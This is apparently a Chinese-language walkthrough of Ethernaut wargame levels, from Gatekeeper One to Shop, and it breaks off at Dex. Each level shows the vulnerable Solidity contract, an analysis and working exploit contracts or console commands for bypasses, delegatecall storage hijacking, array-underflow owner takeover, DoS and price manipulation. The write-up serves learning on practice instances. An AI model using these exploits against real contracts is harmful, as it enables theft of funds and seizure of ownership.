1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 pragma solidity ^0.4.18; contract GatekeeperOne { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { require(msg.gas % 8191 == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint32(_gateKey) == uint16(_gateKey)); require(uint32(_gateKey) != uint64(_gateKey)); require(uint32(_gateKey) == uint16(tx.origin)); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract Attack { address instance_address = instance_address_here; bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF; GatekeeperOne target = GatekeeperOne(instance_address); function hack() public { target.call.gas(适当的gas)(bytes4(keccak256("enter(bytes8)")), _gateKey); } }
攻击流程 虽然没有成功,但是这里思路是正确的,下面简单给一下流程,首先点击“Get new instance”来获取一个实例: [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201154552-df573c9a-44c6-1.png ) 获取实例地址 [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201154614-ec684708-44c6-1.png ) 之后部署并编译攻击合约,同时更改实例合约的地址: [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201154637-fa15d58c-44c6-1.png ) 之后点击”hack”来实施攻击 [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201154712-0efcab7e-44c7-1.png ) 之后当“await contract.entrant()”非0x000…000时点击“submit instance”来提交示例即可!
Gatekeeper Two 闯关要求 和上一题一样,完成三个需求。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } }
合约分析 第一个条件:我们可以通过部署合约来实现绕过 第二个条件:gateTwo中extcodesize 用来获取指定地址的合约代码大小。这里使用的是内联汇编来获取调用方(caller)的代码大小,一般来说,当caller为合约时,获取的大小为合约字节码大小,caller为账户时,获取的大小为 0 。条件为调用方代码大小为0 ,由于合约在初始化,代码大小为0的。因此,我们需要把攻击合约的调用操作写在 constructor 构造函数中。 第三个条件:这里判断的是msg.sender,所以要在代码里进行实时计算。异或的特性就是异或两次就是原数据。所以将sender和FFFFFFFFFFFFFFFF进行异或的值就是我们想要的值。 最后攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.18; contract GatekeeperTwo { address public entrant; modifier gateOne() { require(msg.sender != tx.origin); _; } modifier gateTwo() { uint x; assembly { x := extcodesize(caller) } require(x == 0); _; } modifier gateThree(bytes8 _gateKey) { require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1); _; } function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { entrant = tx.origin; return true; } } contract attack{ function attack(address param){ GatekeeperTwo a =GatekeeperTwo(param); bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this))); a.enter(_gateKey); } }
攻击流程 首先,获取一个实例,之后获取合约地址: 之后在remix中编译部署攻击合约:
之后查看entrant的值:
之后点击“submit instance”来提交示例:
Naught Coin 闯关要求 NaughtCoin是一个ERC20代币,你已经拥有了所有的代币。但是你只能在10年的后才能将他们转移。你需要想出办法把它们送到另一个地址,这样你就可以把它们自由地转移吗,让后通过将token余额置为0来完成此级别。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = block.timestamp + 10 * 365 days; uint256 public INITIAL_SUPPLY; address public player; constructor(address _player) ERC20('NaughtCoin', '0x0') { player = _player; INITIAL_SUPPLY = 1000000 * (10**uint256(decimals())); // _totalSupply = INITIAL_SUPPLY; // _balances[player] = INITIAL_SUPPLY; _mint(player, INITIAL_SUPPLY); emit Transfer(address(0), player, INITIAL_SUPPLY); } function transfer(address _to, uint256 _value) override public lockTokens returns(bool) { super.transfer(_to, _value); } // Prevent the initial owner from transferring tokens until the timelock has passed modifier lockTokens() { if (msg.sender == player) { require(block.timestamp > timeLock); _; } else { _; } } }
合约分析 从以上代码我们可以看出合约NaughtCoin继承了ERC20但是没有对父合约做重写,导致利用父合约的函数可以进行及时转账。而子合约NaughtCoin也没有什么问题,那我们还是回过头来看看import的父合约 ERC20.sol。 其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那么重写transferFrom就是一个可利用的点了。直接看看ERC20.sol代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, value); return true; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, value); _transfer(from, to, value); return true; } function _spendAllowance(address owner, address spender, uint256 value) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { if (currentAllowance < value) { revert ERC20InsufficientAllowance(spender, currentAllowance, value); } unchecked { _approve(owner, spender, currentAllowance - value, false); } } } function _transfer(address from, address to, uint256 value) internal { if (from == address(0)) { revert ERC20InvalidSender(address(0)); } if (to == address(0)) { revert ERC20InvalidReceiver(address(0)); } _update(from, to, value); }
此处可以直接调用这个transferFrom了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用approve 给自己授权。 攻击代码如下: 根据以上分析,我们可以构造如下EXP:
1 2 await contract.approve(player,toWei("1000000")) await contract.transferFrom(player,contract.address,toWei("1000000"))
攻击流程solidity 点击“Get new instance”来获取一个实例:
之后查看当前账户余额
之后使用approve进行授权
然后再通过transferFrom来实施转账
之后查看账户余额:
最后点击“submit instance”来提交该实例:
Preservation 闯关条件 该合约利用库合约保存 2 个不同时区的时间戳。合约的构造函数输入两个库合约地址用于保存不同时区的时间戳。
通关条件:尝试取得合约的所有权(owner
)。
可能有帮助的注意点:
深入了解 Solidity
官网文档中底层方法 delegatecall
的工作原理,它如何在链上和库合约中的使用该方法,以及执行的上下文范围。
理解 delegatecall
的上下文保留的含义
理解合约中的变量是如何存储和访问的
理解不同类型之间的如何转换
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } } // Simple library contract to set the time contract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; } }
合约分析 以上合约中用到了delegatecall()函数,一般情况下delegatecall用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage便是a的。举个例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 contract A{ uint public x1; uint public x2; function funca(address param){ param.delegatecall(bytes4(keccak256("funcb()"))); } } contract B{ uint public y1; uint public y2; function funcb(){ y1=1; y2=2; } }
在上述合约中,一旦在a中调用了b的funcb函数,那么对应的a中 x1就会等于y1,x2就会等于 2。 在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1,把slot 2的值更换为了 2,那么由于delegatecall的原因这里修改的是a的storage,对应就是修改了 x1,x2。
那么这个题就很好办了,我们调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。
由此,我们可构建一下EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract PreservationPoc { address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; function setTime(uint _time) public { owner = address(uint160(_time)); } }
攻击流程 点击“Get new instance”获取一个实例
之后在remix中部署恶意智能合约:
之后在控制台执行以下命令:
1 2 await contract.setSecondTime(恶意合约地址) await contract.setFirstTime(player地址)
之后我们就成为了合约的拥有者
最后点击“submit instance”来提交示例即可:
locked 闯关条件 此名称注册器已锁定,将不接受任何注册的新名称。而玩家的目标是解锁此注册器。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } }
合约分析 通过查看以上代码我们可以发现“unlocked”从一开始就被设置为“false”而之后合约中再没有出现过”unlocked”,那么我们如何来改变”unlocked”的值呢?关于这一个我在之前的智能合约审计系列3中讲过一个“变量覆盖”的专题,里面有相关的描述,这里不再赘述了,总体来说这里的漏洞出现在结构体的重定义导致变量覆盖问题。
在该合约中,下面的三行diam重新定义了结构体,因此会覆盖第一个、第二个存储块,因为我们只需要见_name设置为bytes32(1)就可以将unlocked变为“ture”
1 2 3 NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress;
EXP如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 pragma solidity ^0.4.23; // A Locked Name Registrar contract Locked { bool public unlocked = false; // registrar locked, no name updates struct NameRecord { // map hashes to addresses bytes32 name; // address mappedAddress; } mapping(address => NameRecord) public registeredNameRecord; // records who registered names mapping(bytes32 => address) public resolve; // resolves hashes to addresses function register(bytes32 _name, address _mappedAddress) public { // set up the new NameRecord NameRecord newRecord; newRecord.name = _name; newRecord.mappedAddress = _mappedAddress; resolve[_name] = _mappedAddress; registeredNameRecord[msg.sender] = newRecord; require(unlocked); // only allow registrations if contract is unlocked } } contract attack{ function hack(address param){ Locked a = locked(param); a.register(bytes32(1),address(msg.sender)); } }
攻击流程 获取一个新的示例 [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160236-359bb476-44c9-1.png ) 之后获取合约地址 [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160258-425c657a-44c9-1.png ) 之后部署攻击合约: [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160318-4eaf111a-44c9-1.png ) 之后见合约的address作为产生传入hack中实施攻击: [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160510-91878120-44c9-1.png ) 之后再次查看合约的”unlocked”的状态值,发现已经发生了变化,改为了”true” [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160550-a91b5d98-44c9-1.png ) 最后提交示例即可: [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160614-b76263ce-44c9-1.png ) [ ](https://xzfile.aliyuncs.com/media/upload/picture/20200201160632-c204ae36-44c9-1.png )
Recovery 闯关条件 合约创建者构建了一个非常简单的代币工厂合约。 任何人都可以轻松创建新代币。 在部署了一个代币合约后,创建者发送了 0.001
以太币以获得更多代币。 后边他们丢失了合约地址。
如果您能从丢失的的合约地址中找回(或移除),则顺利通过此关。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); } } contract SimpleToken { string public name; mapping (address => uint) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } }
合约分析 由于在链上所有东西都是透明的,因此合约创建时我们直接查看合约就可以查看到新建立的合约的地址。之后如果要回复token可以借助destory函数来实现,可以构建如下EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract SimpleToken { string public name; mapping (address => uint) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); } } contract RecoveryPoc { SimpleToken target; constructor(address payable _addr) public{ target = SimpleToken(_addr); } function attack() public{ target.destroy(payable(tx.origin)); } }
攻击流程 首先获取一个实例
从MetaMask上获取交易细节信息
可以看到代币最后到了0x2f75这段地址
由此确定新合约的地址: 之后部署攻击合约
之后点击hack实施攻击:
之后查看attack之后的交易细节,发现代币找回 同时发现新合约自动销毁
最后点击”submit instance”提交示例即可:
MagicNumber 闯关条件 为了解决这个关卡,你只需要向 Ethernaut 提供一个 Solver,一个用正确的数字响应 WhatIsTheMeaningOfLife() 的合约。
容易吧? 嗯…有一个问题。
求解器的代码必须非常小。 真的很小。 就像真的非常非常小:最多 10 个操作码。
提示:也许是时候暂时离开 Solidity 编译器的舒适感,并手动构建这个编译器了 O_o。 没错:原始 EVM 字节码。
祝你好运! 即要求输出42(操作码为2A)。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract MagicNum { address public solver; constructor() {} function setSolver(address _solver) public { solver = _solver; } /* ____________/\\\_______/\\\\\\\\\_____ __________/\\\\\_____/\\\///////\\\___ ________/\\\/\\\____\///______\//\\\__ ______/\\\/\/\\\______________/\\\/___ ____/\\\/__\/\\\___________/\\\//_____ __/\\\\\\\\\\\\\\\\_____/\\\//________ _\///////////\\\//____/\\\/___________ ___________\/\\\_____/\\\\\\\\\\\\\\\_ ___________\///_____\///////////////__ */ }
合约分析 为了解决这个问题,有 10 个操作码的大小限制,即 10 个字节,因为每个操作码是 1 个字节。因此,我们的求解器最多应有 10 个字节,并且应返回 42 (0x2a)。
我们需要编写两组字节码:
初始化字节码:负责准备合约并返回运行时字节码。
运行时字节码:这是合约创建后运行的实际代码。换句话说,这包含了合约的逻辑。
让我们首先看一下运行时操作码。我们使用以太坊文档 作为操作码参考。
运行时操作码 我们需要执行以下步骤来创建运行时操作码:
将我们的值 (0x2a) 推送并存储在内存中
为了存储该值,我们将使用 MSTORE(p, v),其中p
是位置或偏移量,v
是值。由于 MSTORE 期望值已经存储在内存中,因此我们需要首先使用 PUSH1(value) 操作码推送它。我们必须推送该值及其在内存中存储的位置,因此,我们需要 2 个 PUSH1 操作码。
复制
复制
1 2 3 1. 0x60 - PUSH1 --> PUSH(0x2a) --> 0x602a (Pushing 2a or 42) 2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080 (Pushing an arbitrary selected memory slot 80) 3. 0x52 - MSTORE --> MSTORE --> 0x52 (Store value p=0x2a at position v=0x80 in memory)
返回存储的值
一旦我们完成了 PUSH 和 MSTORE,就可以使用 RETURN(p, s) 返回值,其中p
是存储在内存中的数据的偏移量或位置,s
是存储数据的长度/大小。因此,我们再次需要 2 个 PUSH1 操作码。
1 2 3 1. 0x60 - PUSH1 --> PUSH(0x20) --> 0x6020 (Size of value is 32 bytes) 2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080 (Value was stored in slot 0x80) 3. 0xf3 - RETURN --> RETURN --> 0xf3 (Return value at p=0x80 slot and of size s=0x20)
我们可以从上述文档中获取字节码的值。我们最终的运行时操作码将是:602a60805260206080f3
。
初始化操作码 我们来看看需要的初始化操作码。这些将负责将我们的运行时操作码加载到内存中并将其返回到 EVM。
要复制代码,我们需要使用 CODECOPY(t, f, s) 操作码,它需要 3 个参数。
t
:代码在内存中的目标偏移量。我们将其保存到 0x00 偏移量。
f
:这是运行时操作码的当前位置,目前尚不清楚。
s
:这是运行时代码的大小(以字节为单位),即602a60805260206080f3
- 10 字节长。
1 2 3 4 1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a (`s=0x0a` or 10 bytes) 2. 0x60 - PUSH1 --> PUSH(0x??) --> 0x60?? (`f` - This is not known yet) 3. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000 (`t=0x00` - arbitrary chosen memory location) 4. 0x39 - CODECOPY --> CODECOPY --> 0x39 (Calling the CODECOPY with all the arguments)
现在,将运行时操作码返回到 EVM:
1 2 3 1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a (Size of opcode is 10 bytes) 2. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000 (Value was stored in slot 0x00) 3. 0xf3 - RETURN --> RETURN --> 0xf3 (Return value at p=0x00 slot and of size s=0x0a)
初始化操作码的字节码将变为600a60__600039600a6000f3
总共 12 个字节。这意味着运行时操作码起始位置的缺失值f
将是索引 12 或 0x0c,从而形成我们的最终字节码600a600c600039600a6000f3
。
一旦我们有了这两个字节码,我们就可以将它们组合起来以获得可用于部署合约的最终字节码。 602a60805260206080f3
+ 600a600c600039600a6000f3
=600a600c600039600a6000f3602a60505260206050f3
攻击流程 获取一个实例: 之后在控制台实施攻击
对于操作码的执行我们需要用转账函数:
1 web3.eth.sendTransaction({from:player,data:bytecode},function(err,res){console.log(res)})
这里借鉴了一个writeup(https://blog.dixitaditya.com/ethernaut-level-18-magicnumber),里面有详细的描述,读者可以自我借鉴,最后的攻击代码如下:
1 2 3 var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3"; web3.eth.sendTransaction({from:player, data:bytecode}, function(err,res){console.log(res)}); await contract.setSolver("0xccb446cbcd073320dfb8487cfcab02aeeb0aeee6");
最后点击“submit instance”提交示例:
Alien Codex 闯关条件 获取合约的所有权。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } }
合约分析 分析合约存储布局 首先我们要知道,所有 Solidity 状态变量都按顺序保存(动态数组和映射除外)。
AlienCodex
合约里有 3 个字段:
ownable
: 继承自Ownable合约(Ownable-05.sol 文件中没有其他任何内容), 占用 20 字节
contact
: bool 值, 占用 8 字节
codex
: bytes32 数组
前 2 个字段(ownable
和 contact
)将共享第一个槽,即 0 号插槽。
第三个属性(codex
)位于第二个槽中:1。但它是一个动态数组,因此在第二个槽中的值只是数组的长度。要注意的是,数组长度始终为 uint256,因此它始终占用一个完整的槽。
对槽的读取和写入和对变量的操作是一样的。
合约开头 import 了 Ownable 合约,同时也引入了一个 owner 变量。
1 2 3 4 web3.eth.getStorageAt(contract.address, 0, function(x, y) {alert(y)}); //'0x0000000000000000000000000bc04aa6aac163a6b3667636d798fa053d43bd11' // bool public contact 0x000000000000000000000000 // address public owner 0xbc04aa6aac163a6b3667636d798fa053d43bd11
由于 EVM 存储优化的关系,在 slot [0]中同时存储了contact和owner,需要做的就是将owner变量覆盖为自己。 首先通过 make_contact() 函数,我们可以将contact变量设置为 true,这也是调用其他几个函数的前提。 之后就是一个经典的 OOB (out of boundary) Attack 首先通过调用 retract(),使得 codex 数组长度下溢。
1 2 3 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)}); // codex.length // 0x0000000000000000000000000000000000000000000000000000000000000000
1 2 3 4 5 6 contract.retract() // codex.length-- web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(y)}); // codex.length // 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
而在Solidity中动态数组内变量的存储位计算方法可以概括为: b[X] == SLOAD(keccak256(slot) + X) 在本题中,数组 codex 的 slot 为 1,同时也是存储数组长度的地方。 于是只要算出在SLOAD的长度为多少,计算SLOAD最后一个数据再加上1就能溢出到最开始那位 由 SOLAD[kaccak256(slot)-kaccak256(slot)] = b[-kaccak256(slot)] 可以知道SOLAD(0) = b[-kaccak256(slot)],在计算机系统里面,一个数的负数就是该数取反加一,然后可以知道。 b[-kaccak256(slot)] = b[(kaccak256(slot)~) +1] = b[(2^m-1-kaccak256(slot))+1] 这里的m表示存储这个数据的位数,8字节就是64位,于是得出这里的下标应该为 2^256-kaccak256(1)
1 2 3 4 5 6 7 8 9 >>> import sha3 >>> import binascii >>> def bytes32(i): >>> return binascii.unhexlify('%064x'%i) >>> sha3.keccak_256(bytes32(1)).hexdigest() 'b10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6' >>> 2**256 - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 35707666377435648211887908874984608119992236509074197713628505308453184860938
可计算出,codex[35707666377435648211887908874984608119992236509074197713628505308453184860938] 对应的存储位就是 slot 0。 之前提到 slot 0 中同时存储了 contact 和 owner,只需将 owner 替换为 player 地址即可。
1 2 3 4 5 6 7 await contract.owner() // "0x73048cec9010e92c298b016966bde1cc47299df5" contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x000000000000000000000001a61cfd1573fd2207dcb1841cedcb1d5aed4dc155') // 调用 revise() await contract.owner() // "0x676ca875027fd9a5bdbd4f1f0380d8f34d8e1cdf" // Submit instance
或者调用其他合约完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 // SPDX-License-Identifier: MIT pragma solidity ^0.5.0; import '../helpers/Ownable-05.sol'; contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function makeContact() public { contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; } } contract AlienHack { AlienCodex level19; constructor(address payable _addr) { level19 = AlienCodex(_addr); } function exploit () external { uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1; bytes32 myAddress = bytes32(uint256(uint160(tx.origin))); level19.makecontact(); level19.retract(); level19.revise(index, myAddress); } }
攻击流程 获取一个新的实例: 中间流程参考合约分析部分!最后获得owner之后提交示例即可:
Denial 闯关要求 造成DOS使得合约的owner在调用withdraw时无法正常提取资产。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.4.24; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Denial { using SafeMath for uint256; address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance.div(100); // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend); } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; } }
合约分析 从合约的代码中我们很容易发现这里存在一个重入漏洞,所以可以通过部署了一个利用重入漏洞的合约,把gas直接消耗光,那么owner 自然收不到钱了,从而造成DOS。
攻击合约如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value:amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint) { return address(this).balance; } } contract Attack{ Denial target; constructor(address payable _addr) { Denial target = Denial(_addr); } function hack() public { target.setWithdrawPartner(address(this)); } receive() external payable { while (true) {} } }
攻击流程 获取一个实例,之后查看instance的地址
之后部署攻击合约
之后点击”Hack”实施攻击即可:
最后提交示例即可
Shop 闯关要求 您能在商店以低于要求的价格购买到商品吗?
可能有帮助的注意点:
shop合约预计由买家使用
了解view函数的限制
也就是price的价格小于100即可
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint); } contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } }
合约分析 该buy()
函数检查 Buyer 接口返回的价格值是否大于定义的价格 (100) 以及产品是否已售出。如果if
报表验证通过, 则isSold
设置为true
,价格设置为买家界面返回的新价格。
合约定义了一个名为 的接口Buyer
,但 buy 函数正在使用 的msg.sender
地址来创建实例。这意味着我们可以部署一个攻击者合约,其中包含一个函数,并且在检查价格时price()
该函数将调用它。buy()
这里应该注意的是,它price()
是一个view函数,即它不能改变状态,因此我们不能像在电梯中那样维护状态变量,但我们可以对view函数或pure函数进行外部调用。
因此,要从我们的price()
函数返回两个值,我们可以让它根据变量返回值isSold
。
并且合约调用了两次price
函数,于是我们让这两次返回的数据不一样即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Buyer { function price() external view returns (uint); } contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price() >= price && !isSold) { isSold = true; price = _buyer.price(); } } } contract BrokenShop { Shop target = Shop(0xED5b291ACD0816B8AC2B3C2C32f3c5f7C2Af5C63); function exploit() external { target.buy(); } function price () external view returns (uint) { return target.isSold() ? 1 : 101; } }
攻击流程 获取一个实例,之后查看instance的地址
之后部署攻击合约
之后点击”Hack”实施攻击即可:
最后提交示例即可
Dex 闯关要求 此题目的目标是让您破解下面的基本合约并通过价格操纵窃取资金。
一开始您可以得到10个token1和token2。合约以每个代币100个开始。
如果您设法从合约中取出两个代币中的至少一个,并让合约得到一个的“坏”的token价格,您将在此级别上取得成功。
注意: 通常,当您使用ERC20代币进行交换时,您必须approve合约才能为您使用代币。为了与题目的语法保持一致,我们刚刚向合约本身添加了approve方法。因此,请随意使用 contract.approve(contract.address, <uint amount>) 而不是直接调用代币,它会自动批准将两个代币花费所需的金额。 请忽略SwappableToken合约。
可能有帮助的注意点:
代币的价格是如何计算的?
approve方法如何工作?
您如何批准ERC20 的交易?
